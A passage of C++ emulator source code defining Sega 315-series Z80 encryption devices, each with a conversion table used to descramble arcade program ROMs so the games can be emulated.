{ 0x28,0x08,0xa8,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...1...1...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa8,0xa0,0x28,0x20 }, /* ...0...1...1...1 */
{ 0x88,0x08,0x80,0x00 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...0...0...0 */
{ 0xa0,0xa8,0x80,0x88 }, { 0x28,0xa8,0x08,0x88 }, /* ...1...0...0...1 */
{ 0xa8,0xa0,0x28,0x20 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...0...1...0 */
{ 0xa8,0xa0,0x28,0x20 }, { 0x28,0xa8,0x08,0x88 }, /* ...1...0...1...1 */
{ 0x28,0x08,0xa8,0x88 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...1...0...0 */
{ 0x28,0x08,0xa8,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...1...0...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...1...1...0 */
{ 0xa8,0xa0,0x28,0x20 }, { 0x28,0x08,0xa8,0x88 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5065_device::sega_315_5065_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5065, tag, owner, clock) {}
void sega_315_5065_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0xa0,0xa8,0x20,0x28 }, { 0x80,0xa0,0x00,0x20 }, /* ...0...0...0...0 */
{ 0x20,0x28,0x00,0x08 }, { 0x20,0x28,0x00,0x08 }, /* ...0...0...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x08,0x28,0x00,0x20 }, /* ...0...0...1...0 */
{ 0x88,0x08,0xa8,0x28 }, { 0x88,0x08,0xa8,0x28 }, /* ...0...0...1...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x20,0x28,0x00,0x08 }, /* ...0...1...0...0 */
{ 0x28,0xa8,0x20,0xa0 }, { 0x20,0x28,0x00,0x08 }, /* ...0...1...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x08,0x28,0x00,0x20 }, /* ...0...1...1...0 */
{ 0x88,0x08,0xa8,0x28 }, { 0x88,0x08,0xa8,0x28 }, /* ...0...1...1...1 */
{ 0x28,0xa8,0x20,0xa0 }, { 0xa0,0xa8,0x20,0x28 }, /* ...1...0...0...0 */
{ 0x88,0x08,0xa8,0x28 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...0...0...1 */
{ 0x28,0xa8,0x20,0xa0 }, { 0x08,0x28,0x00,0x20 }, /* ...1...0...1...0 */
{ 0x28,0xa8,0x20,0xa0 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...0...1...1 */
{ 0x20,0x28,0x00,0x08 }, { 0x20,0x28,0x00,0x08 }, /* ...1...1...0...0 */
{ 0x88,0x08,0xa8,0x28 }, { 0x20,0x28,0x00,0x08 }, /* ...1...1...0...1 */
{ 0x08,0x28,0x00,0x20 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...1...1...0 */
{ 0x08,0x28,0x00,0x20 }, { 0x88,0x08,0xa8,0x28 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5064_device::sega_315_5064_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5064, tag, owner, clock) {}
void sega_315_5064_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x80,0x20,0x00 }, /* ...0...0...0...0 */
{ 0x08,0x88,0x00,0x80 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...0...0...1 */
{ 0x20,0x00,0xa0,0x80 }, { 0x20,0x28,0xa0,0xa8 }, /* ...0...0...1...0 */
{ 0x20,0x28,0xa0,0xa8 }, { 0xa0,0x80,0x20,0x00 }, /* ...0...0...1...1 */
{ 0xa8,0x28,0x88,0x08 }, { 0xa8,0x28,0x88,0x08 }, /* ...0...1...0...0 */
{ 0x08,0x88,0x00,0x80 }, { 0xa8,0x28,0x88,0x08 }, /* ...0...1...0...1 */
{ 0xa8,0x28,0x88,0x08 }, { 0x20,0x28,0xa0,0xa8 }, /* ...0...1...1...0 */
{ 0xa8,0x28,0x88,0x08 }, { 0xa8,0x28,0x88,0x08 }, /* ...0...1...1...1 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...0...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x20,0x28,0xa0,0xa8 }, /* ...1...0...0...1 */
{ 0x20,0x28,0xa0,0xa8 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...0...1...0 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x20,0x28,0xa0,0xa8 }, /* ...1...0...1...1 */
{ 0x20,0x00,0xa0,0x80 }, { 0x20,0x28,0xa0,0xa8 }, /* ...1...1...0...0 */
{ 0xa8,0x28,0x88,0x08 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...0...1 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x20,0x28,0xa0,0xa8 }, /* ...1...1...1...0 */
{ 0xa8,0x28,0x88,0x08 }, { 0xa8,0x28,0x88,0x08 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5033_device::sega_315_5033_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5033, tag, owner, clock) {}
void sega_315_5033_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x28,0x08,0xa8,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...0...0 */
{ 0x28,0x08,0xa8,0x88 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...0...0...1 */
{ 0x88,0x80,0x08,0x00 }, { 0x88,0x08,0x80,0x00 }, /* ...0...0...1...0 */
{ 0x88,0x08,0x80,0x00 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...0...1...1 */
{ 0x28,0x08,0xa8,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...0...0 */
{ 0x88,0x80,0x08,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...0...1 */
{ 0x88,0x08,0x80,0x00 }, { 0x88,0x08,0x80,0x00 }, /* ...0...1...1...0 */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...1...1...1 */
{ 0x80,0xa0,0x00,0x20 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...0...0...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...0...0...1 */
{ 0x80,0xa0,0x00,0x20 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...0...1...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...0...1...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...1...0...0 */
{ 0x80,0xa0,0x00,0x20 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...1...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...1...1...0 */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa0,0x80,0xa8,0x88 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5041_device::sega_315_5041_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5041, tag, owner, clock) {}
void sega_315_5041_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...0...0 */
{ 0x88,0x08,0x80,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...0...1 */
{ 0x28,0x08,0xa8,0x88 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...0...1...0 */
{ 0x88,0x08,0x80,0x00 }, { 0x88,0x08,0x80,0x00 }, /* ...0...0...1...1 */
{ 0x28,0x08,0xa8,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...0...0 */
{ 0x88,0x80,0x08,0x00 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...1...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...0...1...1...0 */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...1...1...1 */
{ 0x88,0x80,0x08,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...1...0...0...0 */
{ 0x88,0x08,0x80,0x00 }, { 0x88,0x80,0x08,0x00 }, /* ...1...0...0...1 */
{ 0xa0,0x80,0x20,0x00 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...0...1...0 */
{ 0xa0,0x80,0x20,0x00 }, { 0x88,0x08,0x80,0x00 }, /* ...1...0...1...1 */
{ 0x28,0x08,0xa8,0x88 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...0...0 */
{ 0xa0,0x80,0x20,0x00 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x28,0x08,0xa8,0x88 }, /* ...1...1...1...0 */
{ 0xa0,0x80,0x20,0x00 }, { 0xa0,0x80,0xa8,0x88 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5048_device::sega_315_5048_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5048, tag, owner, clock) {}
sega_315_5048_device::sega_315_5048_device(const machine_config &mconfig, device_type type, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, type, tag, owner, clock) {}
void sega_315_5048_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0xa8,0x80,0x88 }, /* ...0...0...0...0 */
{ 0x88,0x08,0x80,0x00 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...0...0...1 */
{ 0xa0,0x80,0x20,0x00 }, { 0x88,0x08,0x80,0x00 }, /* ...0...0...1...0 */
{ 0xa0,0xa8,0x80,0x88 }, { 0x88,0x08,0x80,0x00 }, /* ...0...0...1...1 */
{ 0x28,0x20,0xa8,0xa0 }, { 0xa0,0xa8,0x80,0x88 }, /* ...0...1...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...1...0...1 */
{ 0xa0,0x80,0x20,0x00 }, { 0xa0,0xa8,0x80,0x88 }, /* ...0...1...1...0 */
{ 0x28,0x20,0xa8,0xa0 }, { 0xa0,0xa8,0x80,0x88 }, /* ...0...1...1...1 */
{ 0xa0,0x80,0x20,0x00 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...0...0...0 */
{ 0xa0,0x20,0x80,0x00 }, { 0x88,0xa8,0x80,0xa0 }, /* ...1...0...0...1 */
{ 0xa0,0x20,0x80,0x00 }, { 0xa0,0x20,0x80,0x00 }, /* ...1...0...1...0 */
{ 0xa0,0x20,0x80,0x00 }, { 0xa0,0x20,0x80,0x00 }, /* ...1...0...1...1 */
{ 0xa0,0x80,0x20,0x00 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...1...1...0...1 */
{ 0xa0,0xa8,0x80,0x88 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...1...0 */
{ 0x28,0x20,0xa8,0xa0 }, { 0xa0,0xa8,0x80,0x88 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5093_device::sega_315_5093_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5093, tag, owner, clock) {}
void sega_315_5093_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...0...0 */
{ 0x08,0x88,0x28,0xa8 }, { 0x28,0xa8,0x20,0xa0 }, /* ...0...0...0...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...1...0 */
{ 0xa0,0xa8,0x20,0x28 }, { 0xa0,0xa8,0x20,0x28 }, /* ...0...0...1...1 */
{ 0xa0,0x80,0xa8,0x88 }, { 0x20,0x00,0xa0,0x80 }, /* ...0...1...0...0 */
{ 0x28,0xa8,0x20,0xa0 }, { 0x20,0x00,0xa0,0x80 }, /* ...0...1...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0xa0,0xa8,0x20,0x28 }, /* ...0...1...1...0 */
{ 0x28,0xa8,0x20,0xa0 }, { 0xa0,0xa8,0x20,0x28 }, /* ...0...1...1...1 */
{ 0x20,0x00,0xa0,0x80 }, { 0x80,0x88,0xa0,0xa8 }, /* ...1...0...0...0 */
{ 0x80,0x88,0xa0,0xa8 }, { 0x80,0x88,0xa0,0xa8 }, /* ...1...0...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...0...1...0 */
{ 0x80,0x88,0xa0,0xa8 }, { 0x28,0xa8,0x20,0xa0 }, /* ...1...0...1...1 */
{ 0x20,0x00,0xa0,0x80 }, { 0x80,0x88,0xa0,0xa8 }, /* ...1...1...0...0 */
{ 0x80,0x88,0xa0,0xa8 }, { 0x20,0x00,0xa0,0x80 }, /* ...1...1...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...1...1...0 */
{ 0x80,0x88,0xa0,0xa8 }, { 0x28,0xa8,0x20,0xa0 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5099_device::sega_315_5099_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5099, tag, owner, clock) {}
void sega_315_5099_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0xa0,0xa8,0x20,0x28 }, { 0x80,0xa0,0x00,0x20 }, /* ...0...0...0...0 */
{ 0x20,0x28,0x00,0x08 }, { 0x20,0x28,0x00,0x08 }, /* ...0...0...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x08,0x28,0x00,0x20 }, /* ...0...0...1...0 */
{ 0x88,0x08,0xa8,0x28 }, { 0x88,0x08,0xa8,0x28 }, /* ...0...0...1...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x20,0x28,0x00,0x08 }, /* ...0...1...0...0 */
{ 0x28,0xa8,0x20,0xa0 }, { 0x20,0x28,0x00,0x08 }, /* ...0...1...0...1 */
{ 0xa0,0xa8,0x20,0x28 }, { 0x08,0x28,0x00,0x20 }, /* ...0...1...1...0 */
{ 0x88,0x08,0xa8,0x28 }, { 0x88,0x08,0xa8,0x28 }, /* ...0...1...1...1 */
{ 0x28,0xa8,0x20,0xa0 }, { 0xa0,0xa8,0x20,0x28 }, /* ...1...0...0...0 */
{ 0x88,0x08,0xa8,0x28 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...0...0...1 */
{ 0x28,0xa8,0x20,0xa0 }, { 0x08,0x28,0x00,0x20 }, /* ...1...0...1...0 */
{ 0x28,0xa8,0x20,0xa0 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...0...1...1 */
{ 0x20,0x28,0x00,0x08 }, { 0x20,0x28,0x00,0x08 }, /* ...1...1...0...0 */
{ 0x88,0x08,0xa8,0x28 }, { 0x20,0x28,0x00,0x08 }, /* ...1...1...0...1 */
{ 0x08,0x28,0x00,0x20 }, { 0x80,0xa0,0x00,0x20 }, /* ...1...1...1...0 */
{ 0x08,0x28,0x00,0x20 }, { 0x88,0x08,0xa8,0x28 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_spat_device::sega_315_spat_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_SPAT, tag, owner, clock) {}
void sega_315_spat_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x88,0x08,0x80,0x00 }, { 0x00,0x08,0x20,0x28 }, /* ...0...0...0...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x28,0xa8,0x08,0x88 }, /* ...0...0...0...1 */
{ 0x28,0x20,0xa8,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...0...1...0 */
{ 0x88,0x08,0x80,0x00 }, { 0x88,0x08,0x80,0x00 }, /* ...0...0...1...1 */
{ 0x00,0x08,0x20,0x28 }, { 0x88,0x08,0x80,0x00 }, /* ...0...1...0...0 */
{ 0xa0,0x80,0x20,0x00 }, { 0x80,0x88,0x00,0x08 }, /* ...0...1...0...1 */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0x80,0x20,0x00 }, /* ...0...1...1...0 */
{ 0x88,0x08,0x80,0x00 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...1...1...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0x80,0x88,0x00,0x08 }, /* ...1...0...0...0 */
{ 0x80,0x88,0x00,0x08 }, { 0x00,0x08,0x20,0x28 }, /* ...1...0...0...1 */
{ 0x28,0x20,0xa8,0xa0 }, { 0x28,0xa8,0x08,0x88 }, /* ...1...0...1...0 */
{ 0x00,0x08,0x20,0x28 }, { 0x80,0xa0,0x88,0xa8 }, /* ...1...0...1...1 */
{ 0x80,0x88,0x00,0x08 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...0...0 */
{ 0x80,0xa0,0x88,0xa8 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...0...1 */
{ 0xa0,0x80,0x20,0x00 }, { 0x80,0xa0,0x88,0xa8 }, /* ...1...1...1...0 */
{ 0x28,0x20,0xa8,0xa0 }, { 0x00,0x08,0x20,0x28 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5015_device::sega_315_5015_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5015, tag, owner, clock) {}
void sega_315_5015_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x20,0x00,0xa0,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...0...0...0 */
{ 0x20,0x00,0xa0,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...0...0...1 */
{ 0x20,0x00,0xa0,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...0...1...0 */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...0...1...1 */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...1...0...0 */
{ 0x20,0x00,0xa0,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...1...0...1 */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0x80,0xa8,0x88 }, /* ...0...1...1...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...1...1 */
{ 0x20,0x00,0xa0,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...1...0...0...0 */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...0...0...1 */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...0...1...0 */
{ 0x20,0x00,0xa0,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...1...0...1...1 */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0x80,0xa8,0x88 }, /* ...1...1...0...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0x88,0x80,0x08,0x00 }, /* ...1...1...0...1 */
{ 0x20,0x00,0xa0,0x80 }, { 0xa8,0xa0,0x88,0x80 }, /* ...1...1...1...0 */
{ 0x88,0x08,0x80,0x00 }, { 0xa0,0x80,0xa8,0x88 } /* ...1...1...1...1 */
};
/* decrypt program ROMs */
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5133_device::sega_315_5133_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : sega_315_5048_device(mconfig, SEGA_315_5133, tag, owner, clock) {}
// == sega_315_5048_device
sega_315_5014_device::sega_315_5014_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5014, tag, owner, clock) {}
void sega_315_5014_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x80,0x00,0x88,0x08 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...0...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x80,0x20,0x00 }, /* ...0...0...0...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...0...1...0 */
{ 0x80,0x00,0x88,0x08 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...0...1...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x80,0x20,0x00 }, /* ...0...1...0...0 */
{ 0x80,0x00,0x88,0x08 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...1...0...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa8,0xa0,0x88,0x80 }, /* ...0...1...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x80,0x20,0x00 }, /* ...0...1...1...1 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa8,0xa0,0x88,0x80 }, /* ...1...0...0...0 */
{ 0x80,0x00,0x88,0x08 }, { 0x28,0x20,0xa8,0xa0 }, /* ...1...0...0...1 */
{ 0x80,0x00,0x88,0x08 }, { 0x28,0x20,0xa8,0xa0 }, /* ...1...0...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...0...1...1 */
{ 0x80,0x00,0x88,0x08 }, { 0x28,0x20,0xa8,0xa0 }, /* ...1...1...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...0...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...1...1...0 */
{ 0x28,0xa8,0x08,0x88 }, { 0xa8,0xa0,0x88,0x80 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5013_device::sega_315_5013_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5013, tag, owner, clock) {}
void sega_315_5013_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...0...0...0 */
{ 0x08,0x28,0x88,0xa8 }, { 0x88,0x80,0x08,0x00 }, /* ...0...0...0...1 */
{ 0xa8,0x28,0xa0,0x20 }, { 0x20,0xa0,0x00,0x80 }, /* ...0...0...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...0...1...1 */
{ 0x08,0x28,0x88,0xa8 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...0...1...0...1 */
{ 0xa8,0x28,0xa0,0x20 }, { 0x20,0xa0,0x00,0x80 }, /* ...0...1...1...0 */
{ 0x08,0x28,0x88,0xa8 }, { 0x88,0x80,0x08,0x00 }, /* ...0...1...1...1 */
{ 0x08,0x28,0x88,0xa8 }, { 0x88,0x80,0x08,0x00 }, /* ...1...0...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...1...0...0...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x20,0xa8,0xa0 }, /* ...1...0...1...0 */
{ 0xa8,0x28,0xa0,0x20 }, { 0x20,0xa0,0x00,0x80 }, /* ...1...0...1...1 */
{ 0xa8,0x28,0xa0,0x20 }, { 0x20,0xa0,0x00,0x80 }, /* ...1...1...0...0 */
{ 0xa8,0x28,0xa0,0x20 }, { 0x20,0xa0,0x00,0x80 }, /* ...1...1...0...1 */
{ 0x08,0x28,0x88,0xa8 }, { 0x88,0x80,0x08,0x00 }, /* ...1...1...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x28,0x20,0xa8,0xa0 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5061_device::sega_315_5061_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5061, tag, owner, clock) {}
void sega_315_5061_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x28,0x08,0x20,0x00 }, { 0x28,0x08,0x20,0x00 }, /* ...0...0...0...0 */
{ 0x80,0x00,0xa0,0x20 }, { 0x08,0x88,0x00,0x80 }, /* ...0...0...0...1 */
{ 0x80,0x00,0xa0,0x20 }, { 0x08,0x88,0x00,0x80 }, /* ...0...0...1...0 */
{ 0xa0,0x80,0x20,0x00 }, { 0x20,0x28,0xa0,0xa8 }, /* ...0...0...1...1 */
{ 0x28,0x08,0x20,0x00 }, { 0x88,0x80,0xa8,0xa0 }, /* ...0...1...0...0 */
{ 0x80,0x00,0xa0,0x20 }, { 0x08,0x88,0x00,0x80 }, /* ...0...1...0...1 */
{ 0x80,0x00,0xa0,0x20 }, { 0x20,0x28,0xa0,0xa8 }, /* ...0...1...1...0 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x08,0x88,0x00,0x80 }, /* ...0...1...1...1 */
{ 0x88,0x80,0xa8,0xa0 }, { 0x28,0x08,0x20,0x00 }, /* ...1...0...0...0 */
{ 0x80,0x00,0xa0,0x20 }, { 0xa0,0x80,0x20,0x00 }, /* ...1...0...0...1 */
{ 0x20,0x28,0xa0,0xa8 }, { 0x08,0x88,0x00,0x80 }, /* ...1...0...1...0 */
{ 0x80,0x00,0xa0,0x20 }, { 0x20,0x28,0xa0,0xa8 }, /* ...1...0...1...1 */
{ 0x88,0x80,0xa8,0xa0 }, { 0x88,0x80,0xa8,0xa0 }, /* ...1...1...0...0 */
{ 0x80,0x00,0xa0,0x20 }, { 0x08,0x88,0x00,0x80 }, /* ...1...1...0...1 */
{ 0x80,0x00,0xa0,0x20 }, { 0x28,0x08,0x20,0x00 }, /* ...1...1...1...0 */
{ 0x20,0x28,0xa0,0xa8 }, { 0xa0,0x80,0x20,0x00 } /* ...1...1...1...1 */
};
decode(m_region_ptr, m_decrypted_ptr, m_decode_size, convtable, m_numbanks, m_banksize);
}
sega_315_5018_device::sega_315_5018_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock) : segacrpt_z80_device(mconfig, SEGA_315_5018, tag, owner, clock) {}
void sega_315_5018_device::decrypt()
{
static const uint8_t convtable[32][4] =
{
/* opcode data address */
/* A B C D A B C D */
{ 0x88,0xa8,0x08,0x28 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...0...0...0 */
{ 0x20,0xa0,0x28,0xa8 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...0...0...1 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...0...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x20,0xa0,0x28,0xa8 }, /* ...0...0...1...1 */
{ 0x88,0xa8,0x08,0x28 }, { 0x88,0xa8,0x08,0x28 }, /* ...0...1...0...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...1...0...1 */
{ 0x20,0xa0,0x28,0xa8 }, { 0x20,0xa0,0x28,0xa8 }, /* ...0...1...1...0 */
{ 0x88,0xa8,0x80,0xa0 }, { 0x88,0xa8,0x80,0xa0 }, /* ...0...1...1...1 */
{ 0x20,0xa0,0x28,0xa8 }, { 0x88,0xa8,0x08,0x28 }, /* ...1...0...0...0 */
{ 0x20,0xa0,0x28,0xa8 }, { 0x28,0x20,0xa8,0xa0 }, /* ...1...0...0...1 */
